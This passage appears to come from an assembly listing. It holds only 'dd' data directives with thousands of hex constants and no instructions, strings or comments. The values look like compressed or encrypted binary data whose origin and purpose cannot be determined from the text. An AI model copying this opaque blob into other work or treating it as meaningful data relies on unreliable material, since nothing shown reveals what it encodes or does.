2706E670h, 70C3C6F6h dd 8D2918B0h, 70E67D1Dh, 2540B5B4h, 1829467Ah, 32CFC9B0h dd 0E4245FFBh, 2D095C71h, 7399571Dh, 0DA2D52C9h, 423AF155h dd 0B7C82BB3h, 197ADDBh dd 81BD01BDh, 0BF5ECD6Bh, 2D0CA05Ch, 3377C82Bh, 0E17FA37h dd 0B5A2D1CFh, 0EE552471h, 0CD9D3D72h, 13E05AC2h, 2BB3A949h dd 81FB66Bh, 0AE31C5F7h, 5D6E40AEh, 0B93D27F4h, 0A844029Eh dd 5CF5F839h, 21491B8h, 5BDD8A57h, 7390D7F9h, 18978B0Fh dd 9DE50971h, 0D025277Bh, 1C74971Dh, 0E9E4115Bh, 0CCDA2533h dd 0FB8995C0h, 2D6B6A88h, 3C6CDF56h, 0A21A4B21h, 0B47B8487h dd 1B233Eh, 565B97F9h, 47121DC2h, 719B6A9Ch, 315863C0h dd 8B4E2CADh, 0FA408EA2h, 0ED025A95h, 0F98BC64Dh, 0A452028h dd 920B925h, 943C375Ch, 0DF25A005h, 95299CC0h, 77C96949h dd 34B2A4A3h, 9DDFB8D5h, 12C49419h, 0E496B7BAh, 502DF7BBh dd 0F6A4C160h, 89819D25h, 0DA585EC9h, 8640A8EDh, 2FBDB3Bh dd 1F0601D4h, 375546DCh, 8EAD07AAh, 0CDC920D6h, 8A25D880h dd 9FBDC6FAh, 0F557F390h, 95015F05h, 0DBEE33E9h, 0BFA6D291h dd 43A6C12h, 1225971h, 29259D03h, 4051F72Ah, 2D5EADA5h dd 5ABF6FECh, 919B498h, 0CE2C63A0h, 46030375h, 0D381E030h dd 328612A2h, 17081615h, 57060BA4h, 42D7C209h, 59D056E4h dd 0A1E72F79h, 0F5D510B7h, 0E99408A3h, 0D6DC4F40h, 7D3D005Ch dd 0FC786CCDh, 4D4888FDh, 0CDFFD771h, 0D8322B21h, 81DD5EB5h dd 0FFE5C380h, 0B81B6DE1h, 6C6501C5h, 0D9BD89D0h, 25D3480Fh dd 7FA3234Bh, 4FD74A8Bh, 0C5BD4013h, 2F133949h, 2149E093h dd 469C572Bh, 74043025h, 7D4BF4D6h, 0D13A07CAh, 0A0FFE75Eh dd 1F7E1C51h, 52B639CEh, 1179055Eh, 0DFA7BE1Ah, 437616A0h dd 17F5E02h, 0D8A423BFh, 0C4D04BCFh, 8093EC2Fh, 0DEEDB39Eh dd 958D0E37h, 0AA2B4076h, 39099F5Eh, 25187857h, 4B5EDE8Ah dd 0C0ACCDE9h, 60439D8Fh, 0B79EBDB1h, 14507B41h, 0F0F46113h dd 550A2D01h, 0D1BD84F0h, 24354999h, 4E5D108Dh, 0E279996Bh dd 892D2071h, 8B7A8B5Fh, 92ED5749h, 55A912E0h, 0F8DA3EC2h dd 0EB7F5797h, 0F2EA5465h, 68610482h, 0F4C7355Dh, 8AFB8895h dd 9CD400C3h, 7DCA1BC2h, 0B9F70224h, 9AC3134Eh, 0A203F754h dd 0B86AEB36h, 2D0A95DFh, 0CF5E2ABBh, 5640F4C8h, 113B1E7h dd 0B365D24Ch, 2ECC7D62h, 0D9AE9F13h, 12FC3E30h, 2BF1E9B1h dd 6F046BBDh, 0AF7DB71Eh, 67807D2Ah, 0F16BEEAFh, 17BF302Eh dd 71F9B509h, 57604237h, 0D2549F8Bh, 57615889h, 18915BB5h dd 2C590880h, 1897667Ch, 90F8562Ch, 0BA9577B2h, 0B63BED45h dd 1B52F005h, 889C257Ah, 50532C1h, 6E67C8C5h, 0E83EBF91h dd 0AD33122Eh, 1254B868h, 13960248h, 5D28FE27h, 15E9002Bh dd 9160C899h, 0F0120BA2h, 1C9505Bh, 9DC74FF8h, 9209866Bh dd 0FD5BAE7Ah, 0F5CB706Dh, 0C1B0F54Ch, 0A77BE145h, 86CB0035h dd 0B84F68EEh, 8A9D12FDh, 47FBCDCh, 62214BB0h, 5E1D6EFBh dd 0ACA425ECh, 0B9BD83B1h, 36DD9134h, 6830BF2Fh, 9A00CBAh dd 601AEE9Ch, 63447901h, 0B501DC21h, 61F86895h, 5D8DF05Bh dd 0B94E4B79h, 8C1AAC7Fh, 2AAF53Fh, 9570F6A7h, 85434057h dd 7E2041EDh, 0DA6A8005h, 8CD557AFh, 0A71CFC39h, 3B80F5FEh dd 0BE833E13h, 2277B42h, 0A8B302A3h, 0D2E0905Fh, 0EE951989h dd 305EB0CAh, 81D90821h, 471685C7h, 0E8BC4D6Fh, 1613FCE5h dd 4BC2AB5h, 0B8746E3h, 805837FFh, 5B7D2CCh, 3DBD3DE9h dd 29648AACh, 0E62812CAh, 1423EAB1h, 0D88AA800h, 5F71BD33h dd 0A0C0E71Eh, 7EE4CC7Bh, 0EAF25B2Eh, 0E9D6B128h, 0A008A72Fh dd 23B28D8h, 3F909495h, 1D45F8AAh, 5703A589h, 5212D7BDh dd 26E17104h, 5AD191E4h, 0B52ABB2Dh, 0CE187BCBh, 0BB011240h dd 3D3EA524h, 0B3E47F97h, 0B93BE5EFh, 5C2DA988h, 3557028Bh dd 9284A37Ah, 0C512BB64h, 0DAD2BDB9h, 35DE8028h, 2319EA4h dd 37662C3Bh, 7C606025h, 63822EC1h, 24926Dh, 8B519661h dd 4A2EFA58h, 0BF9720FEh, 3A12BE30h, 0B4F6966Fh, 505D77E2h dd 564F2FBFh, 0BD4F187Dh, 5DF4AADDh, 54F8127Bh, 0FA9FA14Dh dd 9F47AD6Fh, 5EA578E6h, 55005557h, 49CC4E28h, 0A250972h dd 3A5D2491h, 4040ED4Ch, 0D087527Ch, 0EF54F302h, 5EF5E28Ah dd 0EADAC55Dh, 0C70980A6h, 2D787C40h, 33B198A0h, 2050F1C2h dd 57B292E9h, 0F52D7B79h, 6DBD4718h, 99F1942h, 0D5F1FDB5h dd 0CEFC8A0Ah, 0F93761CEh, 0F62A3E84h, 301DB294h, 0EB392BFFh dd 44FB0202h, 0D56C18E9h, 5FDDB390h, 62614500h, 52A83713h dd 0E1DF167Bh, 0D8ED0046h, 5F0B04D9h, 51A1BB00h, 0B35061B4h dd 0C1099772h, 3570915Bh, 0FD2C17C8h, 5F6E02F8h, 0E0D560BEh dd 85266527h, 29BB6602h, 0F1DA5C83h, 0A7CC6F5Fh, 7BFC8118h dd 4E3DA1A3h, 39C8017Ch, 0FAB66D8h, 33A26E89h, 0EF75EC89h dd 7B88AFC9h, 78CAA381h, 8B003AB9h, 0A9E54939h, 97F598E6h dd 0F7A73C7Eh, 0B000FC3Dh, 1660179Fh, 253390C2h, 5EE2625h dd 7F47BB05h, 382057E4h, 4F658D09h, 897BB203h, 0F16DFDD9h dd 25E3EC4Bh, 1A77C248h, 0ED3FC0F9h, 1F9C9710h, 36212045h dd 0D353AC3Bh, 0D19D00EAh, 61F5D7B5h, 46C40B97h, 99C19D1Ah dd 0ACA37B0Dh, 19B92CD8h, 97C1E980h, 0DBB7A709h, 7E39C680h dd 6EC042C1h, 6FD35C6Eh, 40BF4F7Bh, 16858362h, 0AAC5FDDDh dd 2CEB2865h, 541AD2Ah, 0C360202Eh, 4200A032h, 0DD6FD429h dd 4A27525Ch, 28C4BA37h, 0B72F9C40h, 0EEBAB25Eh, 75A338C6h dd 4A20AE4Ah, 4B730F9h, 5E3DAF0Ch, 432A8271h, 15557B75h dd 5A27B0E5h, 0D06031F6h, 73F123Eh, 8B3034FFh, 2925198Dh dd 8002AC5Bh, 75FDC3ECh, 76AC3D6Ah, 8B669380h, 0EB815FD0h dd 863E4D7Bh, 59BB5A18h, 0C44818A9h, 660F5522h, 40A38BBAh dd 0F81405C3h, 0B2534A0Dh, 6C3DB7h, 0A2F06B9Fh, 2749A834h dd 0DEDCC586h, 48F5F00h, 1725B906h, 302B4FE0h, 1ECF5C5Bh dd 49F7B400h, 78E6C7Bh, 47F0AEh, 0BF9EE881h, 85013234h dd 9708F131h, 199D9AC0h, 14F8D6F9h, 0F0D2654h, 0DC0A7A85h dd 0E001E14Ah, 9B628070h, 0A0DC9060h, 0F5521CE3h, 10298039h dd 0CB1365C6h, 15ECC500h, 9679F9BBh, 0F45FEC30h, 0EB074E0h dd 853A4490h, 0E1781198h, 0DC3819C1h, 58B0B521h, 983247E2h dd 0C03ADD06h, 731A2E4h, 9C01979Fh, 9A327393h, 8DB125D9h dd 48BB6418h, 0A007C1E6h, 6948308Ch, 0A90F1B39h, 80C1E53Ah dd 209365C5h, 476E00EDh, 25E8B731h, 7400CE5Ah, 0B0016B96h dd 6E27619h, 0B5E6A561h, 0EA73B157h, 30B3EC18h, 83714E20h dd 6998AFC0h, 99FD4605h, 18AEB6F5h, 33E0D9ECh, 0C994240Ch dd 180111C4h, 8C04DCEBh, 0B1669139h, 0F208C019h, 531F06E4h dd 512D6E64h, 83D5E1C8h, 0EA55E576h, 48D7C800h, 0B52A0783h dd 0A11514B0h, 1D00C408h, 0A8D26D66h, 3019AFE6h, 1908E0FAh dd 0C069EEF0h, 1D333BB8h, 0A93C7D6Eh, 31E450AAh, 0E158EB60h dd 14E90CD9h, 8CD8021Dh, 596DE306h, 0C79090A1h, 18B5AE31h dd 82021C8h, 37B1714Ah, 0F9E478h, 69EA230Bh, 94840503h dd 0A383F561h, 222100F4h, 6C352303h, 41F52566h, 5C1F62Ch dd 90C81822h, 7F11A8ECh, 27B7004Eh, 24D63057h, 0B36E619Fh dd 0EABB0321h, 0BEFA30DFh, 0E22D6A50h, 46F0D441h, 18926029h dd 993790C9h, 7FEC6354h, 10A3EF02h, 40050CE9h, 0E804D442h dd 0A621C07Bh, 0F53CA3E7h, 0BF47F400h, 0ED6DCC39h, 1E2D1AE8h dd 800060B8h, 0DF02255Eh, 71002492h, 24D8844Bh, 0F63F1Dh dd 0B785C99Ch, 614D0FACh dd 253D5600h, 0D2C8FC1Eh, 4BF30098h, 45A9B222h, 0EF00EB86h dd 60A262Eh, 0B67859h, 0CD2E552h, 67BA8E01h, 1DD53E38h dd 3CC0D42Fh, 0D7F66843h, 6B90E5h, 0A44E535Ch, 62501DF1h dd 0F340D007h, 0E9D0B143h, 923C2Bh, 689A9580h, 8660B4A8h dd 0D21EC879h, 54C03FC0h, 6B0DDB89h, 0F88CFE76h, 8E9801A4h dd 2C3F52DFh, 2D60E81Ah, 8D9F9100h, 0E30B5FB4h, 0E1B21CDCh dd 473D00E9h, 0D4534F5Ah, 1885D303h, 0A01F7D0Dh, 773BD5BAh dd 0A5300163h, 9CD1DE64h, 3308985Ch, 6B5E21h, 7BD93D7Dh dd 0ADA78475h, 30DE2E03h, 0E95A431Eh, 2C4BCF3Fh, 370063DEh dd 0A8457EC1h, 0BC963E2Bh, 0C9181B00h, 3EDF124Ch, 2D209A07h dd 11885C0h, 0A26E1BFFh, 28BCD8h, 17DB79B5h, 193C905Eh dd 86056BEh, 132180EFh, 0E2DDB72h, 864B0021h, 77330A49h dd 58C61FBEh, 2068F645h, 81C02CE2h, 0A5A4F5BAh, 0E8B9634Ah dd 0B99E5BC9h, 1B797B00h, 0E5C5D18Ch, 72213EE1h, 37E4272Ch dd 1438E020h, 91017698h, 991FB10Dh, 25D1B0FDh, 980C5A10h dd 8A23FC00h, 8B9B8E34h, 4E4100F7h, 0E5DE5620h, 0B10D8CAFh dd 61E2BBD1h, 0E839108Ch, 79009370h, 0A34F1080h, 58E2CCh dd 0A2F4E47Eh, 4016DC3Ch, 5C50D900h, 0A42D6FF2h, 1D700082h dd 0EE0313Eh, 0BF0FDD22h, 83340B63h, 46B6B5A6h, 22C30411h dd 1000BCC9h, 4411D25Eh, 1F8C991Eh, 81CA5D7Fh, 0D3A0163Bh dd 26E4F465h, 89885200h, 0D0AAD6F9h, 0E38E004Dh, 0AFD20607h dd 97243AC3h, 3CF3EAh, 8F1C5BA3h, 7C28FADCh, 7A71B5h, 0E3B018CCh dd 67DD566Ch, 0D04C3900h, 0BC2B5CE2h, 636800BFh, 0C88A1175h dd 7B7ECF4Dh, 0A1E57300h, 8C157CEh, 0BDEC0051h, 60ED76FAh dd 5930D3ADh, 0F235498Eh, 6320FDCh, 5DA0080Ah, 2C33C685h dd 39B88B1Dh, 9A10A040h, 0FEAA0Fh, 891AE9ADh, 0B2DE08AEh dd 0BD333F07h, 0B4113EABh, 58F45C73h, 19F1CA9h, 51D4580Bh dd 0E2EF192h, 2B00AA3Bh, 0BC8F9A45h, 0BD371EAEh, 6D808669h dd 8D00714Ch, 4B1C6643h, 8F8C6h, 0A37EB94Fh, 333A030Fh dd 0A79DCD0Fh, 679E8084h, 5FBACBAh, 4869AB77h, 49D44F2Eh dd 131D44E0h, 59C06C0Fh, 824EF070h, 0A47DD9h, 1814BA04h dd 5CCE888Ah, 5D634505h, 0F44034E7h, 0D0F6F744h, 47A50010h dd 0EA65B835h, 8201807Ch, 0CD7B87EEh, 6CAD4917h, 80A81108h dd 63D28BB7h, 0E00023EEh, 0A77A67Ah, 7D8E80Eh, 0B20C032Ah dd 85F7132Bh, 4A2C9900h, 0FED44E51h, 0CA7D0081h, 9F5E276Fh dd 78F839F7h, 443A610Fh, 9075207Ah, 0B35C05h, 0F68CE79Ch dd 0E32DC31Ah, 806CAC3Eh, 74AAD23h, 16EE679h, 0CE08A59Bh dd 0F0946AB2h, 5C50F52Ah, 522E7FC8h, 11303E3Ch, 5B628Fh dd 0DB8A20Bh, 0E6BFAFF7h, 6880C00h, 7163A0D1h, 4B20028h dd 4B6E0F33h, 8892877Bh, 9613D51Ch, 0DC528AC3h, 3216C029h dd 0E7300A0h, 8DA8E23h, 27E21258h, 0A8B08039h, 78C0EC17h dd 9F4E5D7Eh, 0FED80687h, 1809CFFFh, 25F59600h, 33BC9C67h dd 7DF8F9D2h, 1FDC074Ch, 11CB3489h, 60A23BEFh, 0F60060D9h dd 962C4785h, 0EE8F2579h, 0F7552E62h, 0CB330044h, 520F38B4h dd 9B54E400h, 10A769EFh, 1DB503F1h, 0A08D70AFh, 0CB5EE9B0h dd 0E54F9309h, 54040762h, 201C4560h, 7AF52CE1h, 0CDA5008Bh dd 39E4C24Ah, 33E60400h, 0E775A24Dh, 840D048Bh, 80AE7029h dd 0B1017E94h, 0D5E46F18h, 40C17C58h, 4F008D63h, 0D2151F42h dd 189B0A9Dh, 39413CDAh, 2C006138h, 0A636A1C3h, 1F0F89E5h dd 40AFBD8Eh, 63D9B1A8h, 6D3BFD9Ah, 68DC80F8h, 0BF8F1EDFh dd 4E380970h, 38A096B7h, 99C8246Dh, 0A80DB309h, 73E020F4h dd 18C61A4h, 14C6B44Dh, 0C0E5B2FAh, 797EEEC2h, 3B7EF0C0h dd 738CAD36h, 0BE2A00C3h, 0BC5CDB94h, 7200716Eh, 367EE055h dd 0D564B3h, 0DC97DAB7h, 0D15F3E39h, 0BE4B5700h, 7A100C9Ch dd 0FDFF0076h, 0AD24EA27h, 7C00EC86h, 4F3D5061h, 0F3B6939h dd 759AE9AAh, 630DCE40h, 6D005E3Eh, 8E2852F1h, 0BBB591h dd 2743C72Dh, 5B8B09E4h, 1E00D492h, 6E96C160h, 0C0A9E6CBh dd 9BC783D0h, 4E00BC1Ah, 9C814F39h, 84A1Dh, 451FAE8Eh dd 6F013AD3h, 0FF03F97Fh, 2671F761h, 88AF90E8h, 1870F6B6h dd 80D2037Bh, 892FA99h, 0FD169A0Eh, 2BF30088h, 0FDE8D95h dd 72F5D907h, 0ED529Fh, 0B7946A8h, 6601CE55h, 9E925175h dd 0F8200CADh, 834C00B3h, 0A944F5A6h, 0AF757C1Ch, 2F506000h dd 2BB33A5Ah, 4CDD015Eh, 12C9EED3h, 33189FC1h, 0A0CD68Bh dd 0C080BC1Bh, 806C761h, 692F2CF6h, 0A7C4011Ch, 0C445AF31h dd 0FB7F6AB0h, 99F0CC02h, 581E14BEh, 569E0055h, 2680748Ch dd 890E6F65h, 0E1582EA4h, 0DC9872E2h, 0AF8EE4h, 8DDBA801h dd 20AB28C3h, 47D64001h, 791348E8h, 38D1288Bh, 7685D00h dd 0D0077A92h, 3A0EBD82h, 0EA165BF0h, 36F67Bh, 5667BEBFh dd 4113C052h, 931ADB00h, 0E4C86154h, 0CCD400A9h, 0F479400Eh dd 0A00BD24h, 942DB3CAh, 344596Ch, 906FB7D6h, 91801601h dd 660EA3BEh, 733960F3h, 7C008052h, 6AFED27Ch, 94E709A2h dd 8C00A5E5h, 73E350DCh, 4FF64401h, 70DEFA01h, 3B8D6AD8h dd 3401DB63h, 6E24395Ch, 0E4E770E9h, 22BABB00h, 0E0308976h dd 0EB3400BCh, 326FF157h, 1A0FE758h, 7FF22733h, 255C70C7h dd 0A0248C03h, 4C6BA5h, 816F11C2h, 0E841631Dh, 37AD1A03h dd 0EB404BA9h, 3829A817h, 53A300FCh, 3A849DABh, 0EFFAC2EAh dd 0AECBB000h, 4FC33063h, 83710AC9h, 81FC1B5Eh, 19450544h dd 0D1206498h, 8884E303h, 985A5EB9h, 1680E6h, 2BAAC487h dd 1E99FAADh, 7FED9E00h, 9CD77809h, 0C8930219h, 0D1AA0375h dd 0E880882h, 35A0CCC0h, 1CB3A701h, 8C8A0949h, 0B67874h dd 4D07513Eh, 4FCF4EECh, 0D0D4C9F9h, 432EE49Bh, 498094CAh dd 0F2846FA3h, 82871DDBh, 0E68B01D2h, 0E163C003h, 0A374F0CAh dd 3629C100h, 24411F9Eh, 37E100ABh, 0D2A789DDh, 9F009255h dd 0C27FF648h, 0A046E4DBh, 600C2E30h, 4F48906Dh, 88C049E7h dd 0EC0E1E07h, 610F450h, 0DBDA806Bh, 6FE438EEh, 491BE71Fh dd 688B8A4Ah, 7304005h, 0E284AC46h, 0FA2C3AB0h, 8A888600h dd 0E3230CBCh, 8762B63Eh, 83C05BD0h, 88B3FF80h, 1D5E009Dh dd 4502AA73h, 7C00C905h, 0EB3A2B62h, 0A5C072h, 60A2CDB5h dd 0DCA879C4h, 13C1A000h, 0F36CA31Ah, 260C0196h, 75D32EAh dd 7AD8C4A1h, 2D04BF1Dh, 0A002C64Eh, 2338DADEh, 0E60A3FDFh dd 0EFA9811h, 8028EB0Bh, 6C7D4B45h, 1CA29016h, 0DC2BDF8Bh dd 0D17BCFEEh, 0F04418D8h, 0D8386E01h, 49862C69h, 0FBC385E0h dd 0ED7388E0h, 32BF418Fh, 4361DFECh, 0DB173D00h, 7E73B9D0h dd 752744Bh, 620FCC11h, 40C58096h, 0A54AF05h, 706F25A8h dd 0B881F028h, 40105485h, 0C0B30690h, 78CA7937h, 0EFC37600h dd 1CD1D0F1h, 19F90BC6h, 4506CB07h, 0D64176F0h, 9890DB69h dd 5B2C8111h, 0C08691E9h, 21FF2F3Eh, 1D445C85h, 1E470C4Eh dd 0D57D6007h, 6B093541h, 20A976F8h, 0C4A3BF34h, 62F30736h dd 42AD4BFCh, 0B380B52Ch, 0CC83380h, 0F8B1E160h, 0E3A4598h dd 0B5EFA08Bh, 801004A4h, 35771956h, 80C51C6h, 0A9340731h dd 0C02CEE01h, 0B536EAC2h, 0D062B200h, 0C47B87C9h, 23C7320Eh dd 46208278h, 910CD24h, 88427C13h, 737E6801h, 44E98254h dd 8F0759B8h dd 0EEFB6098h, 7E19348h, 0C8222482h, 8E5BC0F0h, 71E2A3Fh dd 3858C30Fh, 287B7E79h, 44247491h, 8500E03Ah, 41060C3Fh dd 0C0010B88h, 15D46EC1h, 0D6005E28h, 9F99FC1Ch, 95EC18h dd 53FEF47h, 0B9F18137h, 538430DCh, 0C089C02Eh, 5F69DCh dd 0B2D048D4h, 36129F46h, 0BF3B9224h, 0D1C3CF00h, 74F3411Ah dd 0A9553EA8h, 5952A403h, 29E00F3Eh, 7C06B774h, 0A89808Ch dd 80E4F078h, 3C00BC45h, 1C9637A5h, 4CC15Ch, 0B9DB1360h dd 0ADF71FE4h, 4F9FA703h, 11E6EC6Dh, 50F34719h, 0D8A87013h dd 8D1D8A89h, 0B10E7F35h, 0B52B4077h, 8868F0C2h, 0F1245BE2h dd 7F00443Eh, 0B87ADA85h, 78B000FDh, 0F5F4F256h, 0CA0C5E5Dh dd 207FB7F3h, 0DC460F39h, 2403B820h, 1978FFE8h, 113B3800h dd 0D8F9B76Eh, 837C1Eh, 0F532C2F7h, 0F303DE0Ch, 0ED0E44E2h dd 0B257A1h, 0FB087A9Bh, 0C3E8B0E3h, 0AC388310h, 0B11CF588h dd 6329C560h, 0D3E4EBh, 6F2384AEh, 80E7D919h, 0A1BF3F00h dd 0B3F1D4CCh, 0A85A30BDh, 1117148h, 7AFDC0FFh, 0FF417C00h dd 78C418FCh, 3A7F7739h, 0CA0CAA9Ch, 21C1A8E7h, 12284D01h dd 96385A5h, 3600E0BEh, 9953B24Fh, 0C56FE868h, 96409DE8h dd 283F5DE9h, 9A9006Dh, 66CACE94h, 0D55C5A7Ch, 1C601C8h dd 15CFEF44h, 8123E4h, 0AB7AD9F5h, 29E19865h, 9C47AF17h dd 0EB7D8801h, 0D5F04B97h, 73011E13h, 0CF538FBDh, 0DB2A06FEh dd 0A0018D3h, 0AFF77C2Eh, 380E4507h, 0FF83B615h, 0C76C1ED7h dd 5DB4C8A8h, 0EA032A00h, 2ECB97DAh, 84D31711h, 0DE3000F6h dd 91D61C2Bh, 6AF08C76h, 5D25B201h, 0CEEC8588h, 0A0E84880h dd 0C4FE9517h, 8A461C03h, 0E8683AABh, 304062BDh, 0F008BC7Ch dd 5B002813h, 0CEFEEF84h, 22A068h, 6C3F380h, 4A99044h dd 0A1325E1Ch, 4CF01994h, 0ECF3007Bh, 6F30CEB7h, 3EA000D5h dd 1650213h, 64606D5Dh, 2E2B7A21h, 9B330055h, 1BD34E5Bh dd 17003ED9h, 8F2F62D0h, 1450E94Fh, 94AB82F5h, 9C0117h dd 29DDBF7Fh, 0A901917Fh, 0AAE8C5ECh, 82603BBEh, 25B106C9h dd 69F5D231h, 5F71B807h, 0D8E08872h, 0E5C49961h, 0C3BDF4h dd 2E045580h, 0E6F3B09Fh, 0AC7E6803h, 3DC67024h, 0C0824A70h dd 0E5770FDFh, 397BFAC0h, 2518B500h, 0F9FA4164h, 0A2400A1h dd 0B48BCCE1h, 1A00A997h, 0E7C87069h, 0FC6F15CEh, 2D7D9Dh dd 0A0CFF039h, 3528ED6h, 87D96400h, 0C57271C3h, 3EA79FCh dd 5C2B297Ah, 0EDAB17E0h, 81EB33E0h, 0DD31077Dh, 0F225A066h dd 0B9008855h, 8212E0BDh, 0DEC300E2h, 3B6BB0FBh, 1900FCAAh dd 0D4D28780h, 5AB2Dh, 214AEB27h, 1F5F57BEh, 7452C000h dd 306B897Fh, 0A1C61FA6h, 49188E20h, 0E9FC02F3h, 58435E14h dd 10D0F4F0h, 8D633907h, 914066B6h, 98A553h, 9F56E208h dd 45EEA7BFh, 738C5B38h, 545C7000h, 0C47C0F04h, 564B002Eh dd 41930A9Ah, 0CF073096h, 0FF58CC62h, 0A07C3500h, 14ED07D2h dd 5ED0439Eh, 0FB610E96h, 86786AE0h, 8700029Bh, 393E647Fh dd 3E10D86Fh, 0F69D663Ch, 887BC3ECh, 5800E309h, 5E3F9CB6h dd 0E3E92B74h, 0F91FC906h, 0C9C1386Ch, 77A2B78Ch, 0A903C06Eh dd 4805DB06h, 53E42063h, 6D599001h, 0F8FB4CC8h, 0EA7D16h dd 32F8AF7Ch, 123F9DDEh, 809F8E01h, 0C257A40Dh, 0B0FB60D8h dd 2F7A00B4h, 7C11083Ch, 0C50EDE06h, 874FE65Dh, 5460383Fh dd 479AB9Dh, 2C3D140h, 0A443C0C2h, 0DF2673Dh, 1A623801h dd 2AE2CFE6h, 99944080h, 32B4F94Ch, 68F60F00h, 3B704905h dd 0FC270F5Bh, 0DC208A8Fh, 0D7442985h, 0E3C65013h, 0F802A60Ch dd 75B40EEFh, 9120561Dh, 7D4A5A3Bh, 8DBDA8C0h, 1E47D762h dd 870AFF34h, 605E6A5Dh, 3FFBC5DDh, 0FC6B38h, 3CC7BCEFh dd 90B1A3D1h, 2C2C4930h, 31789709h, 0B61B6000h, 5092BD38h dd 7717601h, 57937367h, 1237C820h, 185AF8D7h, 0C15F1111h dd 94877301h, 0A36EF4D1h, 4CDC24h, 4D5C93D5h, 0D451168Dh dd 0B0777D26h, 6ED9CA00h, 5420F3ADh, 34EC4Ch, 0BD71CF44h dd 240DB6D5h, 261C2E00h, 0F331B06Ah, 9FB700BAh, 4FC32B44h dd 7800E1A5h, 302E7FF5h, 0A717B9Ah, 1282DB58h, 2A640090h dd 0E36AA884h, 0CCF23300h, 8DE1CA5Bh, 73B700DEh, 0AF2E4255h dd 0E3EA06Dh, 821D80C9h, 0D4E8F6EEh, 0A473005Fh, 4C2D39BCh dd 43985479h, 0FF6E9100h, 0F4069590h, 8D30F3Fh, 41601735h dd 520563FDh, 0E2B29305h, 14C05A98h, 426F75h, 1FD63A0Eh dd 0BD3CF6Dh, 0F2B77900h, 4BEA3054h, 887E4808h, 0EE7A5200h dd 49AF1E7h, 0B9C1F503h, 0C0B666FBh, 0D2264Ch, 78ABDE53h dd 0FD6A692Fh, 9E995800h, 0A6C7EB32h, 12E701FEh, 732D24D0h dd 8DC1F830h, 3736970Fh, 0B365C0A0h, 17EBBDEh, 60C91655h dd 6009B53Ah, 5000137Ch, 0F7B0A6E6h, 3926219h, 3C7C443h dd 27E0EF0Ch, 7C005440h, 0D6DF4A23h, 3EF03746h, 98009520h dd 78E07970h, 0EE12B333h, 0D44012C7h, 0F3B63837h, 0A6DC00B9h dd 0B17EDF9Eh, 0AD13C2E8h, 0B8409DBEh, 0C3AFEE83h, 0D1D60A92h dd 3B0881B9h, 760ED481h, 0E8C67CDAh, 8D0CCA42h, 604ED358h dd 95C43B13h, 0CFA57E81h, 0D0357CBBh, 0BCE93BBFh, 1453E20h dd 0F0237D89h, 99800119h, 556F2B92h, 0A72E6D30h, 9C011150h dd 68D4701Ch, 13F87CC8h, 1FEBF5h, 0CC6FD37Ah, 923BF3D6h dd 7D77000Dh, 0FC8CF7FAh, 0F27630CBh, 6D50DD19h, 0C052A400h dd 1F9BF64Eh, 38F705D2h, 916EC292h, 0CD18EE48h, 773881D0h dd 0AF58F2Ah, 0F4821FF0h, 1B690098h, 0AAC739E6h, 4A00D2F6h dd 6D9B6ED8h, 301C0D9h, 0B3EFAF93h, 0BECB9160h, 0DC9E7DF0h dd 0A500CFFCh, 0C389A462h, 0FCAA223h, 4CFD6DDFh, 0C1AB8423h dd 8573AAB0h, 0A04DDC2Ah, 8012A138h, 0F306CA74h, 0CCAE81FFh dd 90219A08h, 0E512AA00h, 182FE27Eh, 0D885009Dh, 0C3716FD0h dd 0F300C9FDh, 6D9E1EF8h, 1527AA6h, 1074F43Dh, 97010CECh dd 1C009618h, 0D113B073h, 0A0D25D9Ah, 46BE600h, 6D4050ABh dd 9476F33h, 862100CEh, 0D0760444h, 28C0D97Eh, 0C4C302B1h dd 0EC0F3AFDh, 0C660C47Fh, 0C5233E13h, 9CFB0Bh, 0AE647216h dd 0D45C004Eh, 0D9381F16h, 8B014F30h, 0DC0813B1h, 70A425F8h dd 7EF50064h, 0BBBCCDBDh, 0A9740A03h, 0F7A6120Dh, 0F2814C0h dd 0E5E100B4h, 0A7BAC85h, 0F728B9DDh, 0F4009DC9h, 0F7DBE51h dd 0CB2DABh, 0D6563CF6h, 0D5E1D3Bh, 4D80711Eh, 0B5BDDE80h dd 25CA21h, 159EEF97h, 0B323E93h, 95B89600h, 5BE99ECh dd 0BACD00D4h, 0F698C0E1h, 920023A0h, 9B4B3B24h, 1F1CF17h dd 4C2F7BF5h, 0FC5BDDFDh, 1F387A6Eh, 80A53CEDh, 8A18A022h dd 0F6162B8Dh, 0E4FD0E9Ah, 0E5E08021h, 2FEB6872h, 944FB500h dd 4C641E91h, 2208CC29h, 38005221h, 3179B1B5h, 0A0F1CEh dd 119705BAh, 80EDF516h, 666FDC00h, 0DD6B95CBh, 75BE2089h dd 61CEE506h, 178345Bh, 687EE483h, 0F8FE69CBh, 703BF626h dd 8B7380DFh, 0A5101198h, 1864E223h, 2017BDA6h, 0F8140768h dd 0F0204D22h, 8697905Eh, 9F44D200h, 1203A4E0h, 4A3A1DCBh dd 72E4035Ch, 0D8E02948h, 490C07F1h, 858DB7Eh, 2621C196h dd 0F428A461h, 4A90D7E7h, 0EDB67B00h, 69A59E6Fh, 0E4AC3EF1h dd 0F5B40180h, 0AD9F0670h, 625ACC06h, 0A075FDh, 0D65112E4h dd 0B72EEB2Fh, 26F3E819h, 21801A08h, 7ED65931h, 0E2057BB5h dd 11F3694Eh, 0CDC6B840h dd 52839C7h, 0C9DDEDEBh, 33B00051h, 0D6E469E9h, 1A28E861h dd 51B17F5Fh, 83F6742Ah, 4FCE9628h, 72401D97h, 303D5861h dd 9F2009CBh, 0C4588566h, 0E94E606Fh, 329814F1h, 0D303B87Eh dd 0E6CB4972h, 15B5023h, 0EB2CD650h, 32000E26h, 2235D658h dd 0A3EA9E08h, 23B06B6Eh, 0F45915h, 0FE5E2CC8h, 70ED9A0Ah dd 36A0F30Ah, 0A281F457h, 6EA6A853h, 0D65C1082h, 0C880B5DDh dd 0FEE08BE7h, 0F3E87E54h, 646A6818h, 33AD228h, 7DD1F159h dd 41B59861h, 0DA86698Ch, 628201Eh, 7E8D4C06h, 4948155Ah dd 245094F9h, 2A048C37h, 4FF1D9A4h, 29249462h, 613BD8C0h dd 529D5C42h, 0F38B1B0Eh, 69856FE0h, 0F8AA6EE7h, 602FC884h dd 234DB52Dh, 0E3088194h, 365800E4h, 8283F8B5h, 1AEB6F00h dd 44DAA5D0h, 604A1FE7h, 0FCD97198h, 0D0B8576Ch, 56A64955h dd 20E25700h, 6DBCF040h, 0BC545092h, 0F8056ADCh, 0E03E03B8h dd 0C9641EFFh, 306035F8h, 0F13BC7A4h, 622243FFh, 0A4682700h dd 0EDE9F894h, 0D98B02ADh, 